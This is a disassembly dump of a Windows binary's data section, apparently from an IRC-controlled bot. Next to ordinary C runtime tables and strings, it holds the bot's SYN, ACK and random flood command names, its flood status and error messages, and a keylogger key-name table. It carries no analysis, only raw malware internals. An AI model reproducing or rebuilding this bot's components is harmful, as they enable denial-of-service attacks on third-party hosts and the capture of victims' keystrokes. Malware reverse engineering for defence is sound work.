dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dd 0
dbl_421660 dq 9.765625e-4 ; DATA XREF: sub_40BCEF+2BDr
; sub_40BCEF+2D8r ...
dbl_421668 dq -3.0517578125e-5 ; DATA XREF: sub_414098+1Er
dbl_421670 dq 1.0 ; DATA XREF: sub_415E6C+6Cr
; sub_415FB3+6Cr ...
dword_421678 dd 0FFFFFFFFh, 417BCFh, 417BE3h ; DATA XREF: .nsp0:00417AFDo
byte_421684 db 6 ; DATA XREF: sub_417D4C:loc_417DA3r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: .nsp0:off_437D8Co
unicode 0, <(null)>,0
align 10h
aNull_0 db '(null)',0 ; DATA XREF: .nsp0:off_437D88o
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 10h
aAtan2 db 'atan2',0
align 4
aAtan db 'atan',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
aLog10 db 'log10',0
align 10h
aLog db 'log',0
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: .nsp0:off_437FB4o
align 10h
dbl_4217B0 dq 0.0 ; DATA XREF: sub_41999C+8Cr
; sub_41999C+ACr ...
dbl_4217B8 dq 4.195835e6 ; DATA XREF: sub_419EB1+Fr
dbl_4217C0 dq 3.145727e6 ; DATA XREF: sub_419EB1+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_419EEF+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_419EEFo
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_41A016+93o
align 4
dword_4217F8 dd 0FFFFFFFFh, 41A701h, 41A70Bh, 0 ; DATA XREF: sub_41A69A+5o
dword_421808 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41A7C9+5o
dd offset loc_41A887
align 8
dd offset sub_41A865
dd offset sub_41A86F
dword_421820 dd 0FFFFFFFFh, 41AAB7h, 41AABBh, 0 ; DATA XREF: sub_41A8FF+5o
dword_421830 dd 0FFFFFFFFh, 41AB19h, 41AB22h, 0 ; DATA XREF: sub_41AAC3+5o
dword_421840 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41AB9C+5o
dd offset loc_41ABED
align 10h
dd offset loc_41ABD9
dd offset loc_41ABDD
dword_421858 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41ABF2+5o
dd offset loc_41AC43
align 8
dd offset loc_41AC2F
dd offset loc_41AC33
dword_421870 dd 2 dup(0) ; DATA XREF: sub_41BD71+36o
; sub_41D1F7+39o ...
dword_421878 dd 0FFFFFFFFh, 41BE81h, 41BE85h, 0FFFFFFFFh, 41BF35h, 41BF39h
; DATA XREF: sub_41BD71+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .nsp0:off_4383FCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CF19+119o
align 10h
asc_421B40 db 0Ah ; DATA XREF: sub_41CF19+F1o
db 0Ah,0
align 4
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41CF19+D3o
db 0Ah
db 'Program: ',0
align 10h
a___ db '...',0 ; DATA XREF: sub_41CF19+BFo
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41CF19+7Do
align 10h
dword_421B80 dd 0FFFFFFFFh, 41D2F0h, 41D2F4h ; DATA XREF: sub_41D1F7+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTz db 'TZ',0 ; DATA XREF: sub_41E162+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6EE+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_41E6EE+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_41E6EE+24o
a1Qnan db '1#QNAN',0 ; DATA XREF: sub_41F004:loc_41F0F9o
align 4
a1Inf db '1#INF',0 ; DATA XREF: sub_41F004+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: sub_41F004+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: sub_41F004+ADo
align 10h
dword_421C20 dd 0FFFFFFFFh, 41F9FCh, 41FA00h, 0FFFFFFFFh, 41FA6Bh, 41FA6Fh
; DATA XREF: sub_41F845+5o
dd 421D40h
off_421C3C dd offset loc_41FFA8 ; DATA XREF: sub_41FDB0+4Do
; sub_41FFC4+Co
dd offset sub_41FE6E
dd offset sub_41FF8B
aStringTooLong db 'string too long',0 ; DATA XREF: sub_41FDB0+1Eo
dd offset dword_421D78
off_421C5C dd offset loc_41FED5 ; DATA XREF: sub_41FE0A+4Eo
; sub_41FE98+11o ...
dd offset sub_41FE6E
dd offset sub_41FE7B
dd offset dword_421DC8
off_421C6C dd offset loc_420090 ; DATA XREF: sub_41FFDC+4Do
; sub_4200AC+Co
dd offset sub_41FE6E
dd offset sub_420073
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_41FFDC+1Eo
dd offset dword_421DF8
off_421C94 dd offset sub_420112 ; DATA XREF: sub_42012E+8o
; sub_42016B+8o ...
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 1, 42h, 0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: .nsp0:004201D2o
align 10h
dd offset dword_421E40
off_421CB4 dd offset loc_4201ED ; DATA XREF: sub_4201D8o
; .nsp0:off_438B20o ...
dword_421CB8 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_420209+Eo
dd 3, 19930520h, 2 dup(0)
off_421CD8 dd offset off_438B20 ; DATA XREF: .nsp0:00421D28o
; .nsp0:00421D5Co ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_421CF0 dd offset off_438B38 ; DATA XREF: .nsp0:00421D24o
; .nsp0:00421D58o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
off_421D08 dd offset off_438B58 ; DATA XREF: .nsp0:00421D20o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421D08
dd offset off_421CF0
dd offset off_421CD8
dword_421D2C dd 3 dup(0) ; DATA XREF: .nsp0:00421D50o
dd 3, 421D20h, 3 dup(0)
dd offset off_438B58
dd offset dword_421D2C+4
align 8
dd offset off_421CF0
dd offset off_421CD8
dword_421D60 dd 4 dup(0) ; DATA XREF: .nsp0:00421D88o
dd 2, 421D58h
dword_421D78 dd 3 dup(0) ; DATA XREF: .nsp0:00421C58o
dd offset off_438B38
dd offset dword_421D60+8
align 10h
off_421D90 dd offset off_438B78 ; DATA XREF: .nsp0:00421DA8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421D90
dd offset off_421CF0
dd offset off_421CD8
dd 0
db 0 ; DATA XREF: .nsp0:00421DD8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 421DA8h
dword_421DC8 dd 3 dup(0) ; DATA XREF: .nsp0:00421C68o
dd offset off_438B78
dd offset unk_421DB8
dd offset off_421CD8
dword_421DE0 dd 4 dup(0) ; DATA XREF: .nsp0:00421E08o
dd 1, 421DDCh
dword_421DF8 dd 3 dup(0) ; DATA XREF: .nsp0:00421C90o
dd offset off_438B20
dd offset dword_421DE0+8
align 10h
off_421E10 dd offset off_438B98 ; DATA XREF: .nsp0:00421E28o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_421E10
dword_421E2C dd 3 dup(0) ; DATA XREF: .nsp0:00421E50o
dd 1, 421E28h
dword_421E40 dd 3 dup(0) ; DATA XREF: .nsp0:00421CB0o
dd offset off_438B98
dd offset dword_421E2C+4
align 8
dword_421E58 dd 19930520h, 2, 421E78h, 5 dup(0) ; DATA XREF: .nsp0:loc_420263o
dd 0FFFFFFFFh, 42024Ch, 0
dd offset sub_420244
dword_421E88 dd 19930520h, 2, 421EA8h, 5 dup(0) ; DATA XREF: .nsp0:loc_420280o
dd 0FFFFFFFFh, 420270h, 0
dd offset loc_420278
dword_421EB8 dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3 dup(0)
; DATA XREF: .nsp0:loc_42028Co
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 421F00h, 4 dup(0)
dd offset loc_404E38
dd 0
dd offset off_438B20
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 42016Bh, 2 dup(0)
dd offset off_438B38
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41FEF1h, 2 dup(0)
dd offset off_438B58
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 41FFC4h, 0
dword_421F70 dd 3, 421F50h, 421F30h, 421F10h ; DATA XREF: .nsp0:00421F8Co
dword_421F80 dd 0 ; DATA XREF: sub_41FDB0+47o
; sub_41FF8B+12o
dd offset sub_41FF4E
dd 0
dd offset dword_421F70
dword_421F90 dd 19930520h, 1, 421FB0h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202A0o
dd 0FFFFFFFFh, 420298h
dword_421FB8 dd 19930520h, 1, 421FD8h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202B4o
dword_421FD8 dd 0FFFFFFFFh, 4202ACh, 2, 421F30h, 421F10h, 0 ; DATA XREF: .nsp0:00421FFCo
dword_421FF0 dd 0 ; DATA XREF: sub_41FE7B+12o
dd offset sub_41FE98
dd 0
dd offset dword_421FD8+8
dword_422000 dd 19930520h, 1, 422020h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202C8o
dd 0FFFFFFFFh, 4202C0h
dword_422028 dd 19930520h, 1, 422048h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202DCo
dd 0FFFFFFFFh, 4202D4h
dword_422050 dd 19930520h, 1, 422070h, 5 dup(0) ; DATA XREF: .nsp0:loc_4202F0o
dd 0FFFFFFFFh, 4202E8h, 0
dd offset off_438B78
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4200ACh, 0
dword_422098 dd 3, 422078h, 421F30h, 421F10h ; DATA XREF: .nsp0:004220B4o
dword_4220A8 dd 0 ; DATA XREF: sub_41FFDC+47o
; sub_420073+12o
dd offset sub_420036
dd 0
dd offset dword_422098
dword_4220B8 dd 19930520h, 1, 4220D8h, 5 dup(0) ; DATA XREF: .nsp0:loc_420304o
dd 0FFFFFFFFh, 4202FCh
dword_4220E0 dd 19930520h, 1, 422100h, 5 dup(0) ; DATA XREF: .nsp0:loc_420318o
dd 0FFFFFFFFh, 420310h, 90h dup(0)
dd 7Eh, 2 dup(0)
dd 16D0000h, 3 dup(0)
dd 2060000h, 6 dup(0)
dd 207h, 6 dup(0)
dd 159h, 4 dup(0)
dd 11B0000h, 3 dup(0)
dd 2960000h, 0
dd 1E40000h, 5 dup(0)
dd 218h, 2 dup(0)
dd 1Bh, 2 dup(0)
dd 2DF0000h, 2 dup(0)
dd 2A70000h, 4 dup(0)
dd 340000h, 3 dup(0)
dd 124h, 4 dup(0)
dd 16E0000h, 4 dup(0)
dd 0FBh, 3 dup(0)
dd 11A0000h, 3 dup(0)
dd offset dword_4A0000
dd 3 dup(0)
dd 1120000h, 3 dup(0)
dd 10Dh, 4 dup(0)
dd 900000h, 2 dup(0)
dd 8A0000h, 5 dup(0)
dd 890000h, 6 dup(0)
dd 9Dh, 3 dup(0)
dd 94h, 3 dup(0)
dd 26A0000h, 4 dup(0)
dd 1C1h, 5 dup(0)
dd 66h, 5 dup(0)
dd 1ABh, 9 dup(0)
dd 55h, 5 dup(0)
; ---------------------------------------------------------------------------
retn 1
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
dd 13Eh, 3 dup(0)
dd 1260000h, 4 dup(0)
dd 0AF0000h, 4 dup(0)
dd 193h, 3 dup(0)
dd 18Ch, 2 dup(0)
dd 2B00000h, 4 dup(0)
dd 1D6h, 3 dup(0)
dd 35h, 4 dup(0)
dd 26C0000h, 3 dup(0)
dd 114h, 2 dup(0)
dd offset dword_440000
dd 4 dup(0)
dd 80h, 6 dup(0)
dd 268h, 4 dup(0)
dd 1650000h, 3 dup(0)
dd 10B0000h, 5 dup(0)
dd 1F9h, 3 dup(0)
dd 63h, 3 dup(0)
dd 0F70000h, 4 dup(0)
dd offset aSunday ; "sunday"
align 10h
dd 175h, 3 dup(0)
dd 18Dh, 4 dup(0)
dd 7D0000h, 3 dup(0)
dd 57h, 2 dup(0)
dd 1EF0000h, 3 dup(0)
dd 0F8h, 4 dup(0)
dd 280000h, 2 dup(0)
dd 2CE0000h, 5 dup(0)
dd 3Fh, 3 dup(0)
dd 29Fh, 3 dup(0)
dd 1DD0000h, 2 dup(0)
dd 2D20000h, 5 dup(0)
dd 0CEh, 4 dup(0)
dd 29Eh, 4 dup(0)
dd 11Ch, 3 dup(0)
dd 1200000h, 4 dup(0)
dd 1990000h, 2 dup(0)
dd 19F0000h, 2 dup(0)
dd 22F0000h, 2 dup(0)
dd 1700000h, 6 dup(0)
dd 15Dh, 3 dup(0)
dd 1A2h, 2 dup(0)
dd 1500000h, 4 dup(0)
; ---------------------------------------------------------------------------
retf 0
; ---------------------------------------------------------------------------
align 4
dd 3 dup(0)
dd 1740000h, 3 dup(0)
dd 19Dh, 2 dup(0)
dd 19B0000h, 3 dup(0)
dd 2BFh, 2 dup(0)
dd 2BB0000h, 3 dup(0)
dd 1B80000h, 3 dup(0)
dd 20B0000h, 4 dup(0)
dd 1A3h, 2 dup(0)
dd 1BFh, 3 dup(0)
dd 1C0h, 3 dup(0)
dd 0BFh, 2 dup(0)
dd 0B9h, 0
dd 1310000h, 2 dup(0)
dd 2AD0000h, 6 dup(0)
dd 0B20000h, 6 dup(0)
dd 0B3h, 5 dup(0)
dd 1060000h, 5 dup(0)
dd 1080000h, 6 dup(0)
dd 26Dh, 3 dup(0)
dd 1520000h, 3 dup(0)
dd 1150000h, 3 dup(0)
dd 153h, 3 dup(0)
dd 1560000h, 4 dup(0)
dd 27Ch, 3 dup(0)
dd 0AAh, 4 dup(0)
dd 28Bh, 6 dup(0)
dd 1B50000h, 3 dup(0)
dd 1B20000h, 3 dup(0)
dd 2610000h, 3 dup(0)
dd 210000h, 4 dup(0)
dd 22h, 3 dup(0)
dd 2620000h, 154h dup(0)
dword_423000 dd 0 ; DATA XREF: sub_4177FA+1Fo
dd offset sub_4036CF
dd offset sub_404EE6
dd offset sub_4200C4
dword_423010 dd 0 ; DATA XREF: sub_4177FA+1Ao
dword_423014 dd 0 ; DATA XREF: sub_4177FA+10o
dd offset sub_416852
dd offset sub_41C384
dd offset sub_41D0D6
dd offset sub_41DF48
dword_423028 dd 0 ; DATA XREF: sub_4177FA:loc_417805o
dword_42302C dd 0 ; DATA XREF: sub_417849+65o
dd offset sub_41D17B
dword_423034 dd 0 ; DATA XREF: sub_417849:loc_4178A9o
dword_423038 dd 0 ; DATA XREF: sub_417849+76o
dd offset sub_41DF59
dword_423040 dd 4 dup(0) ; DATA XREF: sub_417849:loc_4178BAo
unk_423050 db 2 ; DATA XREF: sub_401000+5Bo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
unk_42308C db 2 ; DATA XREF: sub_4010B2+302o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 64h ; d
db 64h, 6Fh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 10h
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o
align 4
unk_4230E4 db 2 ; DATA XREF: sub_401447+397o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aDoneWithSFlood db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
db ').',0
unk_423148 db 2 ; DATA XREF: sub_401447+307o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSendingPa db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
db '.',0
align 4
unk_4231AC db 2 ; DATA XREF: sub_401447+12Ao
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aInvalidTargetI db 'Invalid target IP.',0
align 10h
unk_4231E0 db 2 ; DATA XREF: sub_401447+C2o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSetsockop db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C db 2 ; DATA XREF: sub_401447+49o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 20h
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketFai db 'Error: socket() failed, returned: <%d>.',0
dword_423274 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_40182E+48o
dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 10h
dword_4232B0 dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
; DATA XREF: sub_4018CA+27Do
dd 2029206Ch, 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
dword_4232E0 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+4EBo
dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
dword_423344 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+44Fo
dd 2029206Ch, 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
aRandom db 'random',0 ; DATA XREF: sub_401BD6+312o
; sub_40CE55+2B28o ...
align 10h
aAck db 'ack',0 ; DATA XREF: sub_401BD6+2F2o
; sub_40CE55+2B11o
aSyn db 'syn',0 ; DATA XREF: sub_401BD6+2D2o
; sub_40CE55+2AF9o
dword_4233B8 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+15Fo
dd 2029206Ch, 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
dword_4233EC dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+EEo
dd 2029206Ch, 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
dword_423438 dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
; DATA XREF: sub_401BD6+70o
dd 2029206Ch, 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_4021FB:loc_4022DEo
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
